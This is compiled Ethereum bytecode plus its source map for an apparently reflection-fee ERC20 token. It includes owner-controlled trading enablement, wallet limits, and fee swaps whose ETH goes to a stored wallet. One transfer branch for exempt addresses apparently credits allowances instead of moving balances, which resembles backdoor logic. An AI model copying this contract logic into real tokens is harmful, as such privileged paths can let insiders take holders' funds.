b3480156102c357600080fd5b5061022e6104e7565b3480156102d857600080fd5b506101eb60155481565b3480156102ee57600080fd5b506000546001600160a01b03166101bd565b34801561030c57600080fd5b506101eb60165481565b34801561032257600080fd5b506040805180820190915260078152661218585b185b9960ca1b6020820152610157565b34801561035257600080fd5b5061018d610361366004611446565b61055b565b34801561037257600080fd5b506101eb6103813660046114d0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103b857600080fd5b5061022e6103c73660046114b3565b610568565b60006103d9338484610652565b5060015b92915050565b60006103f0848484610776565b610442843361043d85604051806060016040528060288152602001611658602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610bb6565b610652565b5060019392505050565b6000546001600160a01b0316331461047f5760405162461bcd60e51b815260040161047690611509565b60405180910390fd5b6014805460ff19166001179055565b6000546001600160a01b031633146104b85760405162461bcd60e51b815260040161047690611509565b66038d7ea4c68000601655565b6001600160a01b0381166000908152600260205260408120546103dd90610bf0565b6000546001600160a01b031633146105115760405162461bcd60e51b815260040161047690611509565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103d9338484610776565b6000546001600160a01b031633146105925760405162461bcd60e51b815260040161047690611509565b6001600160a01b0381166105f75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610476565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610476565b6001600160a01b0382166107155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610476565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107da5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610476565b6001600160a01b03821661083c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610476565b6000811161089e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610476565b6001600160a01b03831660009081526004602052604090205460ff161580156108e057506001600160a01b03821660009081526004602052604090205460ff16155b15610b045760145460ff16610972576000546001600160a01b038481169116146109725760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610476565b6012546001600160a01b038381169116146109f75760165481610994846104c5565b61099e9190611554565b106109f75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610476565b6000610a02306104c5565b601754601554919250821015908210610a1b5760155491505b808015610a305750601454610100900460ff16155b8015610a4a57506012546001600160a01b03868116911614155b8015610a5e575060145462010000900460ff165b8015610a8357506001600160a01b03851660009081526004602052604090205460ff16155b8015610aa857506001600160a01b03841660009081526004602052604090205460ff16155b15610b01576000600b54600c54610abf9190611554565b90506000610ae282610adc600c5487610c7490919063ffffffff16565b90610cf6565b9050610aed81610d38565b478015610afd57610afd47610eac565b5050505b50505b6001600160a01b03831660009081526004602052604090205460019060ff1680610b4657506001600160a01b03831660009081526004602052604090205460ff165b80610b7857506012546001600160a01b03858116911614801590610b7857506012546001600160a01b03848116911614155b15610b9057506000610b8b848484610eea565b610ba4565b610b9a8484610f26565b610ba48484610f65565b610bb084848484610fb2565b50505050565b60008184841115610bda5760405162461bcd60e51b815260040161047691906113e0565b506000610be78486611567565b95945050505050565b6000600554821115610c575760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610476565b6000610c61610fe0565b9050610c6d8382610cf6565b9392505050565b600082600003610c86575060006103dd565b6000610c92838561157a565b905082610c9f8583611591565b14610c6d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610476565b6000610c6d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611003565b6014805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d7c57610d7c6115b3565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df991906115c9565b81600181518110610e0c57610e0c6115b3565b6001600160a01b039283166020918202929092010152601154610e329130911684610652565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e6b9085906000908690309042906004016115e6565b600060405180830381600087803b158015610e8557600080fd5b505af1158015610e99573d6000803e3d6000fd5b50506014805461ff001916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610ee6573d6000803e3d6000fd5b5050565b6001600160a01b0383163014801590610f0c57506001600160a01b0382163014155b15610f1657426013555b610f21838383611031565b505050565b6012546001600160a01b0390811690831603610ee6576001600160a01b03166000908152600f6020526040902042905550600754600b55600854600c55565b6012546001600160a01b0390811690821603610ee6576013546001600160a01b0383166000908152600f6020526040902054610fa19190611567565b50600954600b55600a54600c555050565b80610fbf57610fbf611072565b610fca8484846110a0565b80610bb057610bb0600d54600b55600e54600c55565b6000806000610fed611197565b9092509050610ffc8282610cf6565b9250505090565b600081836110245760405162461bcd60e51b815260040161047691906113e0565b506000610be78486611591565b6001600160a01b03808316600090815260036020908152604080832093871683529290529081208054839290611068908490611554565b9091555050505050565b600b541580156110825750600c54155b1561108957565b600b8054600d55600c8054600e5560009182905555565b6000806000806000806110b2876111d5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110e49087611232565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111139086611274565b6001600160a01b038916600090815260026020526040902055611135816112d3565b61113f848361131d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161118491815260200190565b60405180910390a3505050505050505050565b600554600090819066038d7ea4c680006111b18282610cf6565b8210156111cc5750506005549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006111f28a600b54600c54611341565b9250925092506000611202610fe0565b905060008060006112158e878787611390565b919e509c509a509598509396509194505050505091939550919395565b6000610c6d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bb6565b6000806112818385611554565b905083811015610c6d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610476565b60006112dd610fe0565b905060006112eb8383610c74565b306000908152600260205260409020549091506113089082611274565b30600090815260026020526040902055505050565b60055461132a9083611232565b60055560065461133a9082611274565b6006555050565b60008080806113556064610adc8989610c74565b905060006113686064610adc8a89610c74565b905060006113808261137a8b86611232565b90611232565b9992985090965090945050505050565b600080808061139f8886610c74565b905060006113ad8887610c74565b905060006113bb8888610c74565b905060006113cd8261137a8686611232565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561140d578581018301518582016040015282016113f1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461144357600080fd5b50565b6000806040838503121561145957600080fd5b82356114648161142e565b946020939093013593505050565b60008060006060848603121561148757600080fd5b83356114928161142e565b925060208401356114a28161142e565b929592945050506040919091013590565b6000602082840312156114c557600080fd5b8135610c6d8161142e565b600080604083850312156114e357600080fd5b82356114ee8161142e565b915060208301356114fe8161142e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156103dd576103dd61153e565b818103818111156103dd576103dd61153e565b80820281158282048414176103dd576103dd61153e565b6000826115ae57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156115db57600080fd5b8151610c6d8161142e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116365784516001600160a01b031683529383019391830191600101611611565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da38c68deb299677c83a4d37f1e49a32ff9731a936b8e52f2ca6fa833967f87264736f6c63430008130033

Deployed Bytecode Sourcemap

4202:11939:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6453:83;;;;;;;;;;-1:-1:-1;6523:5:0;;;;;;;;;;;;-1:-1:-1;;;6523:5:0;;;;6453:83;;;;;;;:::i;:::-;;;;;;;;7378:193;;;;;;;;;;-1:-1:-1;7378:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7378:193:0;1023:187:1;5370:41:0;;;;;;;;;;-1:-1:-1;5370:41:0;;;;-1:-1:-1;;;;;5370:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5370:41:0;1215:229:1;6730:95:0;;;;;;;;;;-1:-1:-1;4712:15:0;6730:95;;;1595:25:1;;;1583:2;1568:18;6730:95:0;1449:177:1;7579:446:0;;;;;;;;;;-1:-1:-1;7579:446:0;;;;;:::i;:::-;;:::i;8033:78::-;;;;;;;;;;;;;:::i;:::-;;5707:56;;;;;;;;;;;;;;;;6639:83;;;;;;;;;;-1:-1:-1;6639:83:0;;4436:1;2234:36:1;;2222:2;2207:18;6639:83:0;2092:184:1;5418:28:0;;;;;;;;;;-1:-1:-1;5418:28:0;;;;-1:-1:-1;;;;;5418:28:0;;;11809:83;;;;;;;;;;;;;:::i;6833:138::-;;;;;;;;;;-1:-1:-1;6833:138:0;;;;;:::i;:::-;;:::i;1689:148::-;;;;;;;;;;;;;:::i;5597:47::-;;;;;;;;;;;;;;;;1475:79;;;;;;;;;;-1:-1:-1;1513:7:0;1540:6;-1:-1:-1;;;;;1540:6:0;1475:79;;5651:49;;;;;;;;;;;;;;;;6544:87;;;;;;;;;;-1:-1:-1;6616:7:0;;;;;;;;;;;;-1:-1:-1;;;6616:7:0;;;;6544:87;;6979:199;;;;;;;;;;-1:-1:-1;6979:199:0;;;;;:::i;:::-;;:::i;7186:184::-;;;;;;;;;;-1:-1:-1;7186:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7335:18:0;;;7303:7;7335:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7186:184;1845:244;;;;;;;;;;-1:-1:-1;1845:244:0;;;;;:::i;:::-;;:::i;7378:193::-;7480:4;7502:39;314:10;7525:7;7534:6;7502:8;:39::i;:::-;-1:-1:-1;7559:4:0;7378:193;;;;;:::o;7579:446::-;7711:4;7728:36;7738:6;7746:9;7757:6;7728:9;:36::i;:::-;7775:220;7798:6;314:10;7846:138;7902:6;7846:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7846:19:0;;;;;;:11;:19;;;;;;;;314:10;7846:33;;;;;;;;;;:37;:138::i;:::-;7775:8;:220::i;:::-;-1:-1:-1;8013:4:0;7579:446;;;;;:::o;8033:78::-;1602:6;;-1:-1:-1;;;;;1602:6:0;314:10;1602:22;1594:67;;;;-1:-1:-1;;;1594:67:0;;;;;;;:::i;:::-;;;;;;;;;8085:11:::1;:18:::0;;-1:-1:-1;;8085:18:0::1;8099:4;8085:18;::::0;;8033:78::o;11809:83::-;1602:6;;-1:-1:-1;;;;;1602:6:0;314:10;1602:22;1594:67;;;;-1:-1:-1;;;1594:67:0;;;;;;;:::i;:::-;4712:15:::1;11860:14;:24:::0;11809:83::o;6833:138::-;-1:-1:-1;;;;;6946:16:0;;6899:7;6946:16;;;:7;:16;;;;;;6926:37;;:19;:37::i;1689:148::-;1602:6;;-1:-1:-1;;;;;1602:6:0;314:10;1602:22;1594:67;;;;-1:-1:-1;;;1594:67:0;;;;;;;:::i;:::-;1796:1:::1;1780:6:::0;;1759:40:::1;::::0;-1:-1:-1;;;;;1780:6:0;;::::1;::::0;1759:40:::1;::::0;1796:1;;1759:40:::1;1827:1;1810:19:::0;;-1:-1:-1;;;;;;1810:19:0::1;::::0;;1689:148::o;6979:199::-;7084:4;7106:42;314:10;7130:9;7141:6;7106:9;:42::i;1845:244::-;1602:6;;-1:-1:-1;;;;;1602:6:0;314:10;1602:22;1594:67;;;;-1:-1:-1;;;1594:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1934:22:0;::::1;1926:73;;;::::0;-1:-1:-1;;;1926:73:0;;3697:2:1;1926:73:0::1;::::0;::::1;3679:21:1::0;3736:2;3716:18;;;3709:30;3775:34;3755:18;;;3748:62;-1:-1:-1;;;3826:18:1;;;3819:36;3872:19;;1926:73:0::1;3495:402:1::0;1926:73:0::1;2036:6;::::0;;2015:38:::1;::::0;-1:-1:-1;;;;;2015:38:0;;::::1;::::0;2036:6;::::1;::::0;2015:38:::1;::::0;::::1;2064:6;:17:::0;;-1:-1:-1;;;;;;2064:17:0::1;-1:-1:-1::0;;;;;2064:17:0;;;::::1;::::0;;;::::1;::::0;;1845:244::o;8802:369::-;-1:-1:-1;;;;;8929:19:0;;8921:68;;;;-1:-1:-1;;;8921:68:0;;4104:2:1;8921:68:0;;;4086:21:1;4143:2;4123:18;;;4116:30;4182:34;4162:18;;;4155:62;-1:-1:-1;;;4233:18:1;;;4226:34;4277:19;;8921:68:0;3902:400:1;8921:68:0;-1:-1:-1;;;;;9008:21:0;;9000:68;;;;-1:-1:-1;;;9000:68:0;;4509:2:1;9000:68:0;;;4491:21:1;4548:2;4528:18;;;4521:30;4587:34;4567:18;;;4560:62;-1:-1:-1;;;4638:18:1;;;4631:32;4680:19;;9000:68:0;4307:398:1;9000:68:0;-1:-1:-1;;;;;9079:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9131:32;;1595:25:1;;;9131:32:0;;1568:18:1;9131:32:0;;;;;;;8802:369;;;:::o;9179:2020::-;-1:-1:-1;;;;;9301:18:0;;9293:68;;;;-1:-1:-1;;;9293:68:0;;4912:2:1;9293:68:0;;;4894:21:1;4951:2;4931:18;;;4924:30;4990:34;4970:18;;;4963:62;-1:-1:-1;;;5041:18:1;;;5034:35;5086:19;;9293:68:0;4710:401:1;9293:68:0;-1:-1:-1;;;;;9380:16:0;;9372:64;;;;-1:-1:-1;;;9372:64:0;;5318:2:1;9372:64:0;;;5300:21:1;5357:2;5337:18;;;5330:30;5396:34;5376:18;;;5369:62;-1:-1:-1;;;5447:18:1;;;5440:33;5490:19;;9372:64:0;5116:399:1;9372:64:0;9464:1;9455:6;:10;9447:64;;;;-1:-1:-1;;;9447:64:0;;5722:2:1;9447:64:0;;;5704:21:1;5761:2;5741:18;;;5734:30;5800:34;5780:18;;;5773:62;-1:-1:-1;;;5851:18:1;;;5844:39;5900:19;;9447:64:0;5520:405:1;9447:64:0;-1:-1:-1;;;;;9529:24:0;;;;;;:18;:24;;;;;;;;9528:25;:52;;;;-1:-1:-1;;;;;;9558:22:0;;;;;;:18;:22;;;;;;;;9557:23;9528:52;9524:1234;;;9637:11;;;;9632:144;;1513:7;1540:6;-1:-1:-1;;;;;9677:15:0;;;1540:6;;9677:15;9669:91;;;;-1:-1:-1;;;9669:91:0;;6132:2:1;9669:91:0;;;6114:21:1;6171:2;6151:18;;;6144:30;6210:34;6190:18;;;6183:62;6281:33;6261:18;;;6254:61;6332:19;;9669:91:0;5930:427:1;9669:91:0;9801:13;;-1:-1:-1;;;;;9795:19:0;;;9801:13;;9795:19;9792:146;;9868:14;;9859:6;9843:13;9853:2;9843:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9835:87;;;;-1:-1:-1;;;9835:87:0;;6826:2:1;9835:87:0;;;6808:21:1;6865:2;6845:18;;;6838:30;6904:34;6884:18;;;6877:62;-1:-1:-1;;;6955:18:1;;;6948:33;6998:19;;9835:87:0;6624:399:1;9835:87:0;9954:28;9985:24;10003:4;9985:9;:24::i;:::-;10063:19;;10126:12;;9954:55;;-1:-1:-1;10039:43:0;;;;10102:36;;10099:111;;10182:12;;10159:35;;10099:111;10230:7;:18;;;;-1:-1:-1;10242:6:0;;;;;;;10241:7;10230:18;:43;;;;-1:-1:-1;10260:13:0;;-1:-1:-1;;;;;10252:21:0;;;10260:13;;10252:21;;10230:43;:58;;;;-1:-1:-1;10277:11:0;;;;;;;10230:58;:87;;;;-1:-1:-1;;;;;;10293:24:0;;;;;;:18;:24;;;;;;;;10292:25;10230:87;:114;;;;-1:-1:-1;;;;;;10322:22:0;;;;;;:18;:22;;;;;;;;10321:23;10230:114;10226:521;;;10365:16;10394:9;;10384:7;;:19;;;;:::i;:::-;10365:38;;10422:18;10443:47;10481:8;10443:33;10468:7;;10443:20;:24;;:33;;;;:::i;:::-;:37;;:47::i;:::-;10422:68;;10509:28;10526:10;10509:16;:28::i;:::-;10585:21;10629:22;;10625:107;;10676:35;10689:21;10676:12;:35::i;:::-;10346:401;;;10226:521;9582:1176;;9524:1234;-1:-1:-1;;;;;10834:24:0;;10770:12;10834:24;;;:18;:24;;;;;;10785:4;;10834:24;;;:50;;-1:-1:-1;;;;;;10862:22:0;;;;;;:18;:22;;;;;;;;10834:50;10833:102;;;-1:-1:-1;10898:13:0;;-1:-1:-1;;;;;10890:21:0;;;10898:13;;10890:21;;;;:44;;-1:-1:-1;10921:13:0;;-1:-1:-1;;;;;10915:19:0;;;10921:13;;10915:19;;10890:44;10829:309;;;-1:-1:-1;10976:5:0;10998:29;11010:4;11016:2;11020:6;10998:11;:29::i;:::-;10829:309;;;11062:23;11076:4;11082:2;11062:13;:23::i;:::-;11102:24;11117:4;11123:2;11102:14;:24::i;:::-;11150:41;11165:4;11171:2;11175:6;11183:7;11150:14;:41::i;:::-;9282:1917;9179:2020;;;:::o;2453:224::-;2573:7;2609:12;2601:6;;;;2593:29;;;;-1:-1:-1;;;2593:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2633:9:0;2645:5;2649:1;2645;:5;:::i;:::-;2633:17;2453:224;-1:-1:-1;;;;;2453:224:0:o;8119:323::-;8214:7;8272;;8261;:18;;8239:110;;;;-1:-1:-1;;;8239:110:0;;7363:2:1;8239:110:0;;;7345:21:1;7402:2;7382:18;;;7375:30;7441:34;7421:18;;;7414:62;-1:-1:-1;;;7492:18:1;;;7485:40;7542:19;;8239:110:0;7161:406:1;8239:110:0;8360:19;8382:10;:8;:10::i;:::-;8360:32;-1:-1:-1;8410:24:0;:7;8360:32;8410:11;:24::i;:::-;8403:31;8119:323;-1:-1:-1;;;8119:323:0:o;2685:246::-;2743:7;2767:1;2772;2767:6;2763:47;;-1:-1:-1;2797:1:0;2790:8;;2763:47;2820:9;2832:5;2836:1;2832;:5;:::i;:::-;2820:17;-1:-1:-1;2865:1:0;2856:5;2860:1;2820:17;2856:5;:::i;:::-;:10;2848:56;;;;-1:-1:-1;;;2848:56:0;;8169:2:1;2848:56:0;;;8151:21:1;8208:2;8188:18;;;8181:30;8247:34;8227:18;;;8220:62;-1:-1:-1;;;8298:18:1;;;8291:31;8339:19;;2848:56:0;7967:397:1;2939:132:0;2997:7;3024:39;3028:1;3031;3024:39;;;;;;;;;;;;;;;;;:3;:39::i;11207:483::-;5804:6;:13;;-1:-1:-1;;5804:13:0;;;;;11309:16:::1;::::0;;11323:1:::1;11309:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11309:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11309:16:0::1;11285:40;;11354:4;11336;11341:1;11336:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11336:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11380:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11380:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11336:7;;11380:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11370:4;11375:1;11370:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11370:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11445:15:::1;::::0;11413:62:::1;::::0;11430:4:::1;::::0;11445:15:::1;11463:11:::0;11413:8:::1;:62::i;:::-;11486:15;::::0;:196:::1;::::0;-1:-1:-1;;;11486:196:0;;-1:-1:-1;;;;;11486:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11567:11;;11486:15:::1;::::0;11609:4;;11636::::1;::::0;11656:15:::1;::::0;11486:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5840:6:0;:14;;-1:-1:-1;;5840:14:0;;;-1:-1:-1;;;;11207:483:0:o;11698:99::-;11755:17;;:34;;-1:-1:-1;;;;;11755:17:0;;;;:34;;;;;11782:6;;11755:17;:34;:17;:34;11782:6;11755:17;:34;;;;;;;;;;;;;;;;;;;;;11698:99;:::o;13811:211::-;-1:-1:-1;;;;;13896:21:0;;13912:4;13896:21;;;;:44;;-1:-1:-1;;;;;;13921:19:0;;13935:4;13921:19;;13896:44;13893:79;;;13957:15;13942:12;:30;13893:79;13985:29;13997:4;14003:2;14007:6;13985:11;:29::i;:::-;13811:211;;;:::o;13039:242::-;13119:13;;-1:-1:-1;;;;;13119:13:0;;;13111:21;;;;13108:166;;-1:-1:-1;;;;;13149:15:0;;;;;:11;:15;;;;;13167;13149:33;;-1:-1:-1;13209:14:0;;13197:9;:26;13249:12;;13239:7;:22;13039:242::o;13560:243::-;13640:13;;-1:-1:-1;;;;;13640:13:0;;;13634:19;;;;13630:166;;13690:12;;-1:-1:-1;;;;;13670:17:0;;;;;;:11;:17;;;;;;:32;;13690:12;13670:32;:::i;:::-;-1:-1:-1;13729:15:0;;13717:9;:27;13770:13;;13760:7;:23;13560:243;;:::o;11900:282::-;12056:7;12051:28;;12065:14;:12;:14::i;:::-;12090:44;12108:6;12116:9;12127:6;12090:17;:44::i;:::-;12150:7;12145:29;;12159:15;8733:17;;8721:9;:29;8771:15;;8761:7;:25;8677:117;15709:164;15751:7;15772:15;15789;15808:19;:17;:19::i;:::-;15771:56;;-1:-1:-1;15771:56:0;-1:-1:-1;15845:20:0;15771:56;;15845:11;:20::i;:::-;15838:27;;;;15709:164;:::o;3079:223::-;3199:7;3234:12;3227:5;3219:28;;;;-1:-1:-1;;;3219:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3258:9:0;3270:5;3274:1;3270;:5;:::i;13289:108::-;-1:-1:-1;;;;;13363:16:0;;;;;;;:11;:16;;;;;;;;:21;;;;;;;;;;;:31;;13388:6;;13363:16;:31;;13388:6;;13363:31;:::i;:::-;;;;-1:-1:-1;;;;;13289:108:0:o;8450:219::-;8497:9;;:14;:30;;;;-1:-1:-1;8515:7:0;;:12;8497:30;8493:43;;;8450:219::o;8493:43::-;8568:9;;;8548:17;:29;8606:7;;;8588:15;:25;-1:-1:-1;8626:13:0;;;;8650:11;8450:219::o;12190:622::-;12337:15;12367:23;12405:12;12432:23;12470:12;12497:13;12524:19;12535:7;12524:10;:19::i;:::-;-1:-1:-1;;;;;12582:15:0;;;;;;:7;:15;;;;;;12322:221;;-1:-1:-1;12322:221:0;;-1:-1:-1;12322:221:0;;-1:-1:-1;12322:221:0;-1:-1:-1;12322:221:0;-1:-1:-1;12322:221:0;-1:-1:-1;12582:28:0;;12322:221;12582:19;:28::i;:::-;-1:-1:-1;;;;;12564:15:0;;;;;;;:7;:15;;;;;;:46;;;;12642:18;;;;;;;:39;;12665:15;12642:22;:39::i;:::-;-1:-1:-1;;;;;12621:18:0;;;;;;:7;:18;;;;;:60;12694:16;12704:5;12694:9;:16::i;:::-;12721:23;12733:4;12739;12721:11;:23::i;:::-;12777:9;-1:-1:-1;;;;;12760:44:0;12769:6;-1:-1:-1;;;;;12760:44:0;;12788:15;12760:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;12760:44:0;;;;;;;;12311:501;;;;;;12190:622;;;:::o;15881:257::-;15979:7;;15932;;;;4712:15;16047:20;15979:7;4712:15;16047:11;:20::i;:::-;16037:7;:30;16033:61;;;-1:-1:-1;;16077:7:0;;;4712:15;;-1:-1:-1;15881:257:0;-1:-1:-1;15881:257:0:o;16033:61::-;16113:7;;16122;;-1:-1:-1;15881:257:0;-1:-1:-1;15881:257:0:o;14067:615::-;14167:7;14189;14211;14233;14255;14277;14313:23;14338:12;14352:13;14382:40;14394:7;14403:9;;14414:7;;14382:11;:40::i;:::-;14312:110;;;;;;14433:19;14455:10;:8;:10::i;:::-;14433:32;;14477:15;14494:23;14519:12;14548:46;14560:7;14569:4;14575:5;14582:11;14548;:46::i;:::-;14476:118;;-1:-1:-1;14476:118:0;-1:-1:-1;14476:118:0;-1:-1:-1;14645:15:0;;-1:-1:-1;14662:4:0;;-1:-1:-1;14668:5:0;;-1:-1:-1;;;;;14067:615:0;;;;;;;:::o;2309:136::-;2367:7;2394:43;2398:1;2401;2394:43;;;;;;;;;;;;;;;;;:3;:43::i;2122:179::-;2180:7;;2212:5;2216:1;2212;:5;:::i;:::-;2200:17;;2241:1;2236;:6;;2228:46;;;;-1:-1:-1;;;2228:46:0;;10076:2:1;2228:46:0;;;10058:21:1;10115:2;10095:18;;;10088:30;10154:29;10134:18;;;10127:57;10201:18;;2228:46:0;9874:351:1;12820:211:0;12873:19;12895:10;:8;:10::i;:::-;12873:32;-1:-1:-1;12916:13:0;12932:22;:5;12873:32;12932:9;:22::i;:::-;13006:4;12990:22;;;;:7;:22;;;;;;12916:38;;-1:-1:-1;12990:33:0;;12916:38;12990:26;:33::i;:::-;12981:4;12965:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;12820:211:0:o;13405:147::-;13483:7;;:17;;13495:4;13483:11;:17::i;:::-;13473:7;:27;13524:10;;:20;;13539:4;13524:14;:20::i;:::-;13511:10;:33;-1:-1:-1;;13405:147:0:o;14690:469::-;14859:7;;;;14953:30;14979:3;14953:21;:7;14965:8;14953:11;:21::i;:30::-;14938:45;-1:-1:-1;14994:13:0;15010:28;15034:3;15010:19;:7;15022:6;15010:11;:19::i;:28::-;14994:44;-1:-1:-1;15049:23:0;15075:28;14994:44;15075:17;:7;15087:4;15075:11;:17::i;:::-;:21;;:28::i;:::-;15049:54;15139:4;;-1:-1:-1;15145:5:0;;-1:-1:-1;14690:469:0;;-1:-1:-1;;;;;14690:469:0:o;15167:534::-;15361:7;;;;15458:24;:7;15470:11;15458;:24::i;:::-;15440:42;-1:-1:-1;15493:12:0;15508:21;:4;15517:11;15508:8;:21::i;:::-;15493:36;-1:-1:-1;15540:13:0;15556:22;:5;15566:11;15556:9;:22::i;:::-;15540:38;-1:-1:-1;15589:23:0;15615:28;15540:38;15615:17;:7;15627:4;15615:11;:17::i;:28::-;15662:7;;;;-1:-1:-1;15688:4:0;;-1:-1:-1;15167:534:0;;-1:-1:-1;;;;;;;15167:534:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:356::-;3336:2;3318:21;;;3355:18;;;3348:30;3414:34;3409:2;3394:18;;3387:62;3481:2;3466:18;;3134:356::o;6362:127::-;6423:10;6418:3;6414:20;6411:1;6404:31;6454:4;6451:1;6444:15;6478:4;6475: